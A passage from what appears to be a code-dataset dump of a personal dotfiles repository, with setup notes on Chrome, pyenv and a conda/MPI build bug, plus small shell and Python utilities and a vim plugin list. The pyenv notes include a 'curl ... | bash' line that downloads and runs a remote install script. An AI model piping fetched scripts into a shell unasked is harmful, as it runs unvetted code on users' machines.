with no output) until I fixed the firewall rules.\n\n## Chrome\n\nPretty sure I downloaded the `.deb` and `sudo apt install ./google-chrome-stable_current_amd64.deb`.\n\nIf you need to mess with the install, note that the package is called `google-chrome-stable`.\n\n## Chromedriver\n\nMost people put `chromedriver` in `/usr/bin`, which I would describe as \"reckless\" (except maybe in CI). If you do that, it is apparently important to `chown root:root` the file. :person_shrugging:\n\nI just placed it in my personal `~/bin` and had no trouble.\n\n# pyenv\n\n(update **2022-02-10**)\n\nI quickly decided that pyenv is shit and switched to conda, which (a) doesn't make WSL 2 prompts 1000x slower,\nand (b) is better at handling reproducible builds.\n\n<details>\n<summary>old contents</summary>\n\n(2021-07-24)\n\nI've finally had the last straw with arch updating my python version and orphaning all of my installed packages.\n\n### Preparation\n\nBEFORE USING `pyenv` TO INSTALL ANY PYTHON VERSIONS: Get dev headers for optional python build dependencies!\n\n* `libsqlite3-dev`\n* `libreadline-dev`\n* `libssl-dev`\n* `libbz2-dev`\n* maybe `liblzma-dev` (`_lzma` is mentioned earlier in this file)? I didn't have it though and the `lzma` module works fine.\n\nIf you don't get these first it will gladly build python without them and waste your time.\n\n### Install\n\n```sh\nexport PYENV_HOME=$HOME/asd/manage/pyenv\ncurl https://pyenv.run | bash\n```\n\nMy dotfiles depend on this precise location. `~/asd/manage` is my new place for hiding away the dot-directories of the hundreds of naughty package-managery applications that don't use `.config`/`.local`/`.cache`.\n\n### Virtual environments\n\nMy bashrc currently deliberately breaks `pyenv activate`/`pyenv deactivate` and lots of other commands, as well as `.python_version` files, because the pyenv hook that makes these work makes your shell *so ridiculously slow.* Do the following instead:\n\n```\n old way new way\n to create: pyenv virtualenv NAME --> pyenv virtualenv NAME (unchanged)\n python3 -m pip install wheel\n to enter: pyenv activate NAME --> pyenv shell NAME\n to leave: pyenv deactivate --> shell --unset\nget current: pyenv version-name --> echo $PYENV_VERSION\n```\n\n**Q:** `pyenv shell` doesn't add the virtualenv's `bin/` to my `PATH`\n**A:** idunno lmao. I think it only sets `PYENV_VERSION`? For colin-daniels' pyputil I just ran the script as `python -m pyputil.bin.modeplot`.\n\nother keywords: venv\n\n</details>\n\n# conda `compiler_compat` issue on CCI\n\nWhen using the Intel spectrum-mpi compiler on CCI DCS, and trying to use `pip` to install GPAW, I got this error:\n\n```\n...\n copying gpaw/xc/gllb/nonlocalfunctional.py -> build/lib.linux-ppc64le-3.8/gpaw/xc/gllb\n copying gpaw/xc/gllb/nonlocalfunctionalfactory.py -> build/lib.linux-ppc64le-3.8/gpaw/xc/gllb\n running build_ext\n building '_gpaw' extension\n creating build/temp.linux-ppc64le-3.8\n creating build/temp.linux-ppc64le-3.8/c\n creating build/temp.linux-ppc64le-3.8/c/bmgs\n creating build/temp.linux-ppc64le-3.8/c/xc\n mpicc -pthread -B /gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -DNPY_NO_DEPRECATED_API=7 -DGPAW_NO_UNDERSCORE_CBLACS=1 -DGPAW_NO_UNDERSCORE_CSCALAPACK=1 -DGPAW_GITHASH=c7e3c3e0eb0570dd242150e0e71b2b23fb951fca -DPARALLEL=1 -UNDEBUG -I/gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/include/python3.8 -I/gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/lib/python3.8/site-packages/numpy/core/include -c c/_gpaw.c -o build/temp.linux-ppc64le-3.8/c/_gpaw.o -Wall -Wno-unknown-pragmas -std=c99\n /opt/ibm/xlC/16.1.1/bin/.orig/xlc_r: error: 1501-221 cannot exec program /lib/o/xlCentry - No such file or directory\n error: command 'mpicc' failed with exit status 255\n ----------------------------------------\nERROR: Command errored out with exit status 1: /gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/bin/python -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '\"'\"'/tmp/pip-req-build-sclxnppf/setup.py'\"'\"'; __file__='\"'\"'/tmp/pip-req-build-sclxnppf/setup.py'\"'\"';f = getattr(tokenize, '\"'\"'open'\"'\"', open)(__file__) if os.path.exists(__file__) else io.StringIO('\"'\"'from setuptools import setup; setup()'\"'\"');code = f.read().replace('\"'\"'\\r\\n'\"'\"', '\"'\"'\\n'\"'\"');f.close();exec(compile(code, __file__, '\"'\"'exec'\"'\"'))' install --record /tmp/pip-record-vdct5vzr/install-record.txt --single-version-externally-managed --compile --install-headers /gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/include/python3.8/gpaw Check the logs for full command output.\n\nfailed\n\nCondaEnvException: Pip failed\n```\n\nGoogling for `/lib/o/xlCentry` yields basically no results, and grepping for any sizable substring of it in the gpaw source doesn't find anything.\n\nEventually, after some trial and error, I discovered that the `-B /gpfs/u/barn/CMND/shared/lampam/pkg/ppc64le/conda/4.10.3/envs/gpaw-raman-script/compiler_compat` was the issue. This flag is inserted by conda, and is used to force a vendored version of `ld` to be used.\n\nDiscussion where some problems were resolved for older GCC: https://github.com/ContinuumIO/anaconda-issues/issues/11152\n\nHowever! In our case, simply renaming the `ld` does not resolve the error. In fact, my best guess currently is that it is a bug in the implementation of `-B` for spectrum MPI (or `xlC_r`) which is causing the flag to clobber some other path. I say this because **`mpicc -B /any/path/at/all hello-world.c` fails with the exact same error as above.**\n\n**Resolution:** Install openmpi through conda instead of using the system MPI.\n\n" }, { "alpha_fraction": 0.6707452535629272, "alphanum_fraction": 0.6785317063331604, "avg_line_length": 25.057971954345703, "blob_id": "89738431a5ef3b29962b892a4cf45c1d1ab459d8", "content_id": "d0336b7932bf5d284b710adba8b5ec4e23568997", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1798, "license_type": "no_license", "max_line_length": 78, "num_lines": 69, "path": "/bin/animate", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport warnings\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Plot columnated data')\n\tparser.add_argument('-F', default=' ', type=str, help='set field delimiter')\n\tparser.add_argument('INFILE', nargs='+', type=str, help='input files')\n\targs = parser.parse_args()\n\n\t# FIXME currently really don't care about handling multiple lines properly\n\t# but this should be x, *ys\n\tframes = []\n\tprint(args.INFILE)\n\tfor path in args.INFILE:\n\t\twith open(path) as f:\n\t\t\tx, y = read_columns(f, args.F, diefunc=parser.error)\n\t\t\tframes.append((x, y))\n\n\tx0, y0 = frames[0]\n\tfig, ax = plt.subplots()\n\tline, = ax.plot(x0, y0)\n\n\tdef animate(i):\n\t\tx,y = frames[i]\n\t\tline.set_xdata(x) # update the data\n\t\tline.set_ydata(y) # update the data\n\t\treturn line,\n\n\t# Init only required for blitting to give a clean slate.\n\tdef init():\n\t\tline.set_ydata(np.ma.array(x, mask=True))\n\t\treturn line,\n\n\tanimation.FuncAnimation(fig, animate, np.arange(len(frames)), init_func=init,\n\t interval=250, blit=True)\n\tplt.show()\n\ndef read_columns(f, fieldsep, diefunc):\n\t# Handle most of the parsing with a simple generator that\n\t# produces lists of floats for each row of data\n\tdef inner():\n\t\tfor line in f:\n\t\t\tline = line.strip()\n\t\t\tif not line:\n\t\t\t\tcontinue\n\t\t\tstrs = line.split(fieldsep)\n\t\t\tyield list(map(float, strs))\n\n\trows = list(inner())\n\tif not rows:\n\t\tdiefunc('Input data was empty!')\n\t\treturn []\n\n\tlen0 = len(rows[0])\n\tassert len0 > 0, \"Empty lines were skipped\"\n\tif not all(len(x)==len0 for x in rows):\n\t\twarnings.warn('Mismatched row lengths! Incomplete columns will be ignored')\n\n\tcols = list(zip(*rows))\n\treturn cols\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6823529601097107, "alphanum_fraction": 0.6890756487846375, "avg_line_length": 38.66666793823242, "blob_id": "c641c917f82cc8a6409072913f4274d323a57a4b", "content_id": "c241c758ba99b5a8597a76060df47dcfc5055f0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 595, "license_type": "no_license", "max_line_length": 77, "num_lines": 15, "path": "/bin/latexmk.disabled", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Wrapper around latexmk that tries to make pdflatex output more palatable,\n# because sadly I cannot find any flags for pdflatex or latexmk that hide all\n# the meaningless (to somebody who isn't developing pdflatex) debugging info\n# while still displaying error messages\n\nlatexmk=$(which latexmk -a 2>/dev/null | grep -v dotfiles)\n[[ $latexmk ]] || { echo >&2 \"cannot find true latexmk.\"; exit 1; }\n\n\"$latexmk\" \"$@\" |\n\t# package-loading lines\n\tgrep -P --invert-match '^\\(/usr/share/' |\n\t# colorize errors; must be done last\n\tgrep -P --color '(^!.*|^l\\.\\d+)?'\nexit \"${PIPESTATUS[0]}\"\n" }, { "alpha_fraction": 0.5614545345306396, "alphanum_fraction": 0.5869091153144836, "avg_line_length": 31.738094329833984, "blob_id": "d4321c35dc019a5c59b59a37ba4d1f12debfb31c", "content_id": "97e9737743f71183173d0d625a34b369db8ae44d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1375, "license_type": "no_license", "max_line_length": 107, "num_lines": 42, "path": "/bin/_pyenv-use_impl", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nif [[ \"${BASH_SOURCE[0]}\" == \"${0}\" ]]; then\n echo >&2 \"${0} should be sourced, not run directly!\"\n exit 1\nfi\n\n___pyenv_use__show_usage() {\n echo >&2 \"usage: pyenv-use ENVNAME\"\n echo >&2 \"Personal replacement for 'pyenv activate' which does not require pyenv's laggy prompt hooks.\"\n}\n[[ $# -ne 1 ]] && { ___pyenv_use__show_usage; return 1; }\n[[ $1 == '--help' || $1 == '-h' ]] && { ___pyenv_use__show_usage; return 0; }\n[[ $1 == -- ]] && shift\n[[ $1 =~ ^-.* ]] && { ___pyenv_use__show_usage; return 1; }\nunset -f ___pyenv_use__show_usage\n\nif ! which pyenv 1>/dev/null 2>/dev/null; then\n echo >&2 \"pyenv is not installed\"\n return 1\nfi\n\nif ! [[ $PYENV_ROOT ]]; then\n echo >&2 \"error: PYENV_ROOT not defined\"\n return 1\nfi\n\n___pyenv_use__matches=( $PYENV_ROOT/versions/*/envs/$1 )\nif [[ \"${___pyenv_use__matches[0]}\" =~ versions/\\*/envs ]]; then\n echo >&2 \"error: env '$1' not found\"\n return 1\nfi\nif [[ \"${#___pyenv_use__matches[@]}\" -gt 1 ]]; then\n echo >&2 \"error: env '$1' ambiguous (${#___pyenv_use__matches[@]} matches)\"\n return 1\nfi\n\n# This makes all binaries shimmed by pyenv use the appropriate venv (notably 'python3' and 'pip3').\npyenv shell \"$1\"\n# This is further necessary to use scripts installed by packages. (e.g. `gpaw -P4 python`)\n. \"${___pyenv_use__matches[0]}/bin/activate\"\nunset ___pyenv_use__matches\n" }, { "alpha_fraction": 0.7225806713104248, "alphanum_fraction": 0.7262672781944275, "avg_line_length": 35.13333511352539, "blob_id": "d7ef4542180cbb152efa0710a13d42816de55922", "content_id": "c11d17394c96bfaf47d73b17378e4d333ba6d7e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 178, "num_lines": 30, "path": "/vim/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# Minimal install\n\nOn remote systems with poor package availability, please *at the very least* source `./minimal.include` in `.vimrc`. It contains things that will save you from tragic data loss.\n\n# Full install\n\nInstall dependencies necessary for some extensions to build:\n\n sudo apt install ruby\n sudo pacman -S ruby\n\n1. `ln -s $(pwd)/after ~/.vim/after`\n2. [Install dein](https://github.com/Shougo/dein.vim).\n When it expects an install path, use `~/.vim/bundle`.\n3. Source (or symlink) `vimrc.include` in `~/.vimrc`.\n4. Put `clein.sh` in PATH. (or don't. whatever. No script\n needs it, it's just there for you to run after a bad build\n or after disabling something)\n\nNote: here's the contents of my _actual_ `.vimrc` on this machine,\nwhich includes a system-specific touch.\n\n```vim\n\" Load system defaults since my custom build does not do this on its own.\n\" (note: there must be another file elsewhere, too, as I've noticed that the\n\" 'backspace' setting still doesn't get set automatically)\nsource /etc/vim/vimrc\n\nsource /home/lampam/dotfiles/vim/vimrc.include\n```\n\n" }, { "alpha_fraction": 0.6127876043319702, "alphanum_fraction": 0.6267446279525757, "avg_line_length": 30.93975830078125, "blob_id": "c4e405c834ce0278f650b0e4515668a665326ba2", "content_id": "a80649dce9d43c5bd9cec35f9d0f9a5bb604f4f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5302, "license_type": "no_license", "max_line_length": 96, "num_lines": 166, "path": "/bin/_sane-cp", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# A safer version of `cp` where safety is opt-out, not opt-in.\n\n# As in, '-f' can override interactive mode in this version, which means\n# HOLY SHIT YOU CAN ACTUALLY USE INTERACTIVE MODE BY DEFAULT NOW WITHOUT\n# LOSING YOUR FUCKING MIND\n\n# (it is ONLY to be used in interactive shells as the target of an alias;\n# putting this in PATH as 'cp' will likely break many many things!)\n\n# Note: A single '-f' just overrides '-i'.\n# Use '-ff' to recover the standard '-f' flag behavior.\n\nset -e\n\nif [[ \"x$CMD\" == x ]]; then\n echo >&2 $0: \"This is not meant to be called directly\"\n echo >&2 $0: \"Please call the 'sane-cp' and 'sane-mv' wrappers instead.\"\n exit 1\nfi\n\n# Now for the hard part: *correctly determining if the args contain -i and/or -f*.\n#\n# The sad truth of 'getopt'-style option parsing is that it is *impossible*\n# to write a wrapper program that only looks at the options it cares about and\n# simply forwards the rest; we must know the complete set of short and long options\n# (and their arities) accepted by the wrapped program.\n#\n# Why? Because without this information we cannot distinguish option arguments from options:\n# * 'cp -bSf' == 'cp --backup --suffix=f'\n# * 'cp -bsf' == 'cp --backup --symbolic-link -f'\n# * 'cp -bS -f' == 'cp --backup --suffix=-f'\n# * 'cp -bs -f' == 'cp --backup --symbolic-link -f'\n#\n# So here's the stuff we directly care about:\nMY_SHORT_0ARG='fi'\nMY_SHORT_1ARG=''\nMY_LONG_0ARG='\nforce\ninteractive\ndebug-the-wrapper\n'\nMY_LONG_1ARG='\n'\n\n# ...and then here's all the additional things we're forced to care about.\nFWD_SHORT_0ARG='abdHlLnPpRrsTuvx'\nFWD_SHORT_1ARG='St'\nFWD_LONG_0ARG='\narchive\nattributes-only\ncopy-contents\nlink\ndereference\nno-clobber\nno-dereference\nparents\nrecursive\nremove-destination\nstrip-trailing-slashes\nsymbolic-link\nno-target-directory\nupdate\nverbose\none-file-system\nhelp\nversion\n'\nFWD_LONG_1ARG='\nbackup\npreserve\nno-preserve\nreflink\nsparse\nsuffix\ntarget-directory\n'\n\n# Reminder to self: Last time I tried to refactor this code and make it more DRY, I wasted 3\n# hours revising a set of 6 small, one-liner functions because they couldn't live up to\n# my expectations. (i.e. where the function doesn't have any hidden pitfalls in its usage that\n# are only clear when you look at its definition)\n\n#---------------\n# option strings to be passed into getopt\n\n__short0=${MY_SHORT_0ARG}${FWD_SHORT_0ARG} # abcd...\n__short1=${MY_SHORT_1ARG}${FWD_SHORT_1ARG}\n__short1=$(echo $__short1 | sed -r 's_(.)_\\1:_g') # e:f:g:h:...\nSHORT_OPTSTR=${__short0}${__short1} # abcd...e:f:g:h:...\n\n__long0=\"${MY_LONG_0ARG} ${FWD_LONG_0ARG}\" # space to ensure word boundary\n__long1=\"${MY_LONG_1ARG} ${FWD_LONG_1ARG}\"\n__long0=$(echo $__long0 | sed -r 's_(\\S+)_\\1,_g' | tr -d '[:space:]' ) # apple,bear,...\n__long1=$(echo $__long1 | sed -r 's_(\\S+)_\\1:,_g' | tr -d '[:space:]' ) # cat:,dog:,...\nLONG_OPTSTR=${__long0},${__long1} # apple,...,cat:,...\n\n#---------------\n# \"case\" patterns for the forwarded options\n\n# splits up every word in arguments into its own line (including within each argument),\n# in a way that is safe for options\nfunction words-into-lines {\n # cannot use xargs -n1 because it naively invokes coreutils /bin/echo in a way that allows\n # it to eat our options\n for w in $*; do\n printf '%s\\n' \"$w\"\n done\n}\n\n# outputs a case pattern that joins together all of the words in the function arguments as\n# alternatives ( e.g. abc | def | ghi )\nfunction words-into-alternatives {\n # split into 1 word per line | remove trailing newline | substitute rest\n words-into-lines $* | printf \"%s\" \"$(cat)\" | tr \"\\n\" \"|\"\n echo # replace trailing newline\n}\n\n__short0=\"$(echo $FWD_SHORT_0ARG | sed -r 's_(.)_-\\1\\ _g')\" # -a -b -c ...\n__short1=\"$(echo $FWD_SHORT_1ARG | sed -r 's_(.)_-\\1\\ _g')\"\n__long0=\"$(echo $FWD_LONG_0ARG | sed -r 's_(\\S+)_--\\1\\ _g')\" # --apple --bear --cat ...\n__long1=\"$(echo $FWD_LONG_1ARG | sed -r 's_(\\S+)_--\\1\\ _g')\"\nFWD_CASES_0ARG=$(words-into-alternatives $__short0 $__long0) # -a|-b|-c|...\nFWD_CASES_1ARG=$(words-into-alternatives $__short1 $__long1) # --apple|--bear|...\n\nTEMP=\"$(getopt -o $SHORT_OPTSTR -l $LONG_OPTSTR -- \"$@\")\"\nif [ $? != 0 ] ; then echo >&2 \"Terminating...\"; exit 1 ; fi\neval set -- \"$TEMP\"\n\n#-----------------------------\nOPT_INTERACTIVE='-i'\nOPT_DEBUG=\nFORWARDED=()\n\n# to use a variable as a case arm, one must set extglob\n# and use +($var) as the pattern\nshopt -s extglob\nwhile true ; do\n case \"$1\" in\n # our cases\n -i) shift; ;; # ignore, it's the default now\n -f) # first occurrence\n if [[ $OPT_INTERACTIVE ]]; then\n OPT_INTERACTIVE=\n # additional occurrences\n else FORWARDED+=(\"$1\"); fi\n shift;;\n --debug-the-wrapper) shift; OPT_DEBUG=y; ;;\n # option divider\n --) FORWARDED+=(\"$1\"); shift; break;;\n\n # forwarded cases\n +($FWD_CASES_0ARG)) FORWARDED+=(\"$1\"); shift; ;;\n +($FWD_CASES_1ARG)) FORWARDED+=(\"$1\" \"$2\"); shift; shift; ;;\n *) echo >&2 \"Oops! Internal error reading option: '$1' (this is a bug)\"; exit 1;;\n esac\ndone\n\n# positional arguments \"$@\" are also forwarded\nFULL_CMD=($CMD $OPT_INTERACTIVE \"${FORWARDED[@]}\" \"$@\")\n\nif [[ $OPT_DEBUG ]]; then\n\techo \"${FULL_CMD[@]}\"\nfi\n\"${FULL_CMD[@]}\"\n" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.7526881694793701, "avg_line_length": 22.25, "blob_id": "467c954a443f712a3500396e944129ab7ad5b8b9", "content_id": "9cf6bd9c51c7b1a97cdee861f86b9b547cac6d71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 93, "license_type": "no_license", "max_line_length": 43, "num_lines": 4, "path": "/bin/private", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# Private mode: does not record new history\nEXPHP_BASHRC_PRIVATE=1 bash\n" }, { "alpha_fraction": 0.6552141308784485, "alphanum_fraction": 0.6602951884269714, "avg_line_length": 21.708791732788086, "blob_id": "e3e61906853bd7ce586a894afce11acb187dee11", "content_id": "c797506ba59a03b61cc6cb71f4d1ca1c806741b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 4133, "license_type": "no_license", "max_line_length": 90, "num_lines": 182, "path": "/vim/dein.toml", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# Thankfully, thanks to shougo's own dein.toml files,\n# there is no shortage of examples:\n#\n# https://github.com/Shougo/shougo-s-github/blob/master/vim/rc/dein.toml\n# https://github.com/Shougo/shougo-s-github/blob/master/vim/rc/deinlazy.toml\n#\n\n# Prettiful status line.\n[[plugins]]\nrepo = 'bling/vim-airline'\n\n# rainbow-parentheses.vim on steroids.\n# Colors not only the parentheses, but the commas, too.\n[[plugins]]\nrepo = 'luochen1990/rainbow'\nhook_add = 'source ~/dotfiles/vim/rainbow-conf.vim'\n\n# I use this to permit SOME modelines (e.g. filetype)\n# while disabling most (e.g. indent)\n[[plugins]]\n# FIXME forcibly disabling to work around issue with setting\n# foldmarker in a latex doc. No idea what's up.\nif = \"0\"\nrepo = 'ciaranm/securemodelines'\n\n# Marks added/modified/deleted lines since last commit.\n[[plugins]]\nrepo = 'airblade/vim-gitgutter'\n\n# for :T (an easier way to reuse a neovim terminal buffer for running\n# commands, since :! is kind of useless in neovim)\n[[plugins]]\nrepo = 'kassio/neoterm'\nif = \"has('nvim')\"\n\n# provides :Scriptnames (a :scriptnames that writes to a type of buffer\n# that you can actually search)\n[[plugins]]\nrepo = \"tpope/vim-scriptease\"\n\n[[plugins]]\nrepo = \"chrisbra/Recover.vim\"\n\n# !!! If dein reports that this failed to build,\n# !!! make sure 'ruby-dev' is installed.\n# !!! Barring that, you'll need to go into the plugin directory and try\n# !!! running the command yourself it yourself to see what's up...\n[[plugins]]\nrepo = \"wincent/command-t\"\nbuild = 'sh -c \"cd ruby/command-t && ruby extconf.rb && make\"'\n\n# Working with arguments (>, <, [, ], a, i,)\n[[plugins]]\nrepo = 'PeterRincker/vim-argumentative'\n\n# STOP BEING A GODDAMN NOOB\n#[[plugins]]\n#repo = 'wikitopian/hardmode'\n\n[[plugins]]\nrepo = 'tpope/vim-surround'\n\n[[plugins]]\nrepo = \"jamessan/vim-gnupg\"\n\n#-----------------\n# Colors\n\n# Vim's background=light colors adapted to a dark background.\n[[plugins]]\nif = \"!has('nvim')\"\nrepo = \"ExpHP/brighter.vim\"\n\n# Neovim's default colors are hideous.\n[[plugins]]\nif = \"has('nvim')\"\nrepo = 'ExpHP/oceanic-next'\nrev = 'darker'\n\n#-----------------\n# language stuff\n\n[[plugins]]\nrepo = 'scrooloose/syntastic'\nhook_add = '''\n\t\" From the syntastic docs...? I believe this causes the status line to display the error\n\t\" message when the cursor is on a line with an error.\n\tset statusline+=%#warningmsg#\n\tset statusline+=%{SyntasticStatuslineFlag()}\n\tset statusline+=%*\n'''\n\n[[plugins]]\nrepo = 'vim-scripts/vim-json-bundle'\nlazy = 1\non_ft = 'json'\n\n[[plugins]]\nrepo = 'derekwyatt/vim-scala'\nlazy = 1\non_ft = 'scala'\n\n[[plugins]]\nrepo = 'fatih/vim-go'\nlazy = 1\non_ft = 'go'\n\n[[plugins]]\nrepo = 'cespare/vim-toml'\nlazy = 1\non_ft = 'toml'\n\n[[plugins]]\nrepo = 'neovimhaskell/haskell-vim'\nlazy = 1\non_ft = 'haskell'\n\n[[plugins]]\nrepo = 'rust-lang/rust.vim'\nlazy = 1\non_ft = 'rust'\n\n[[plugins]]\nrepo = 'kovisoft/slimv'\nlazy = 1 # TAKE THAT, PAREDIT.VIM AND YOUR SMELLY \"filetype indent on\"!!\non_ft = ['lisp', 'clojure', 'scheme']\n\n[[plugins]]\nrepo = 'adityam/vim-context'\nlazy = 1\non_ft = ['context']\n\n[[plugins]]\nrepo = 'rubik/vim-dg'\nlazy = 1\non_ft = ['dg']\n\n[[plugins]]\nrepo = 'leafgarland/typescript-vim'\n\n[[plugins]]\nrepo = 'facebook/reason'\nrtp = 'editorSupport/VimReason'\n\n[[plugins]]\nrepo = 'zah/nim.vim'\n\n[[plugins]]\nrepo = 'manicmaniac/coconut.vim'\n\n[[plugins]]\nrepo = 'idris-hackers/idris-vim'\n\n[[plugins]]\nrepo = 'vmchale/ion-vim'\n\n#-------------------------------------\n# Python plugins:\n\n# FIXME: Before python plugins can be used on nvim you must\n# `pip install neovim` and `pip3 install neovim`,\n# but I'm not sure how to prevent loading the plugins without them.\n\n# Unfortunately the following explodes in neovim... apparently because\n# \"has('python')\" and \"has('python3')\" do something in neovim that is\n# not permitted inside a sandbox (which dein uses when it evals the \"if\").\n#if = \"\"\"\n# (( has('nvim')) &&\n# \\ (has('python') && has('python3')) ) ||\n# \\((!has('nvim')) &&\n# \\ (has('python') || has('python3')) )\"\"\"\n# \"\n\n[[plugins]]\nrepo = 'klen/python-mode'\nlazy = 1\non_ft = 'python'\n\n[[plugins]]\nrepo = 'nvie/vim-flake8'\nlazy = 1\non_ft = 'python'\n" }, { "alpha_fraction": 0.6645962595939636, "alphanum_fraction": 0.6708074808120728, "avg_line_length": 22, "blob_id": "5d3f03aa541b55d3fef4004411f863435b5a9b64", "content_id": "44780023af0c06860b5d2aeb1d0554a1dae5ad09", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 161, "license_type": "no_license", "max_line_length": 34, "num_lines": 7, "path": "/bin/transpose", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport sys\nlines = list(sys.stdin)\nlines = [x.split() for x in lines]\nlines = list(zip(*lines))\nfor line in lines:\n\tprint(' '.join(line))\n" }, { "alpha_fraction": 0.7637795209884644, "alphanum_fraction": 0.7637795209884644, "avg_line_length": 35.28571319580078, "blob_id": "cb3ac245da9d8c58026a965135ec9e041e12097c", "content_id": "b770ec5d73984995e57163ec6813ad701e8f11b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 254, "license_type": "no_license", "max_line_length": 80, "num_lines": 7, "path": "/bin/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# bin\n\nGeneral-use scripts that I want to have follow me around.\n\nMany are simply 'aliases on steroids'; personal-use commands that *could* have\nbeen aliases, except that they're \"too big\" for an alias, or I wanted them to be\navailable in other scripts.\n" }, { "alpha_fraction": 0.5946745276451111, "alphanum_fraction": 0.5986193418502808, "avg_line_length": 38, "blob_id": "7886e1ceb22bca24d6581ea5d6b635b715cb9d73", "content_id": "a88f84cfaf9984a9b6ce2f53b93d886c794bd750", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1014, "license_type": "no_license", "max_line_length": 87, "num_lines": 26, "path": "/bin/_emacs-capture", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# _emacs-capture\n#\n# Invokes emacsclient as a pop-up, with *cough* \"enhanced\" support for org-protocol.\n\n# HACK: workaround for a kde-open bug (feature?) that might have\n# eaten a colon from our argument, om nom nom\nargv=()\nfor arg in \"$@\"; do\n re='s_^org-protocol:/+capture:?/+_org-protocol://capture://_'\n argv+=(\"$(echo -n \"$arg\" | sed -Ez \"$re\")\")\ndone\n\n# Notes:\n# -c create frame\n# -F (props) use these props for the frame\n# --alternate-editor= used for its side-effect of automatically\n# starting a server if none are running.\n#\n# Properties:\n# (name . \"...\") Used in my init.el to detect capture windows.\n# (fullscreen . nil) Overrides an attribute that might be in default-frame-alist\n# (e.g. spacemacs users using dotspacemacs-maximized-at-startup)\nemacsclient --alternate-editor= -c \\\n -F \"((name . \\\"emacs-capture\\\") (height . 10) (width . 80) (fullscreen . nil))\" \\\n \"${argv[@]}\"\n" }, { "alpha_fraction": 0.5403050184249878, "alphanum_fraction": 0.5762526988983154, "avg_line_length": 20.85714340209961, "blob_id": "e50e2b96f273534e950aa193fe17e294b1390f5e", "content_id": "7fb5abfd2e85ffdefa587a37166b023b7928c8d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 918, "license_type": "no_license", "max_line_length": 59, "num_lines": 42, "path": "/bin/rot13", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport sys\nimport string\nimport argparse\n\ndef main():\n parser = argparse.ArgumentParser('rot13')\n parser.add_argument('TEXT', nargs='*')\n args = parser.parse_args()\n\n if args.TEXT:\n print(rot13(' '.join(args.TEXT)))\n else:\n if sys.stdin.isatty():\n print(\"Reading from stdin...\", file=sys.stderr)\n print(rot13(sys.stdin.read()))\n\n\nLOWER_1 = string.ascii_lowercase[:13]\nLOWER_2 = string.ascii_lowercase[13:]\nUPPER_1 = string.ascii_uppercase[:13]\nUPPER_2 = string.ascii_uppercase[13:]\nROT13_MAP = dict(\n []\n + list(zip(LOWER_1, LOWER_2))\n + list(zip(LOWER_2, LOWER_1))\n + list(zip(UPPER_1, UPPER_2))\n + list(zip(UPPER_2, UPPER_1))\n)\n\ndef rot13(s):\n\n def inner():\n d = ROT13_MAP\n for c in s:\n if c in d: yield d[c]\n else: yield c\n\n return ''.join(inner())\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6421725153923035, "alphanum_fraction": 0.6805111765861511, "avg_line_length": 23.076923370361328, "blob_id": "933ccda37911bab788ecb85fd59f0ed06455cc7e", "content_id": "454ba86490fb3a2bc223d2a218247877f7db6f6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 313, "license_type": "no_license", "max_line_length": 46, "num_lines": 13, "path": "/bin/pinentry-exphp", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# https://askubuntu.com/questions/858347\n\n# Configuration -- adjust these to your liking\nPINENTRY_TERMINAL=/usr/bin/pinentry-tty\nPINENTRY_X11=/usr/bin/pinentry-x11\n\n# Action happens below!\nif [ -n \"$DISPLAY\" -a -z \"$TERM\" ]; then\n exec \"$PINENTRY_X11\" \"$@\"\nelse\n exec \"$PINENTRY_TERMINAL\" \"$@\"\nfi\n" }, { 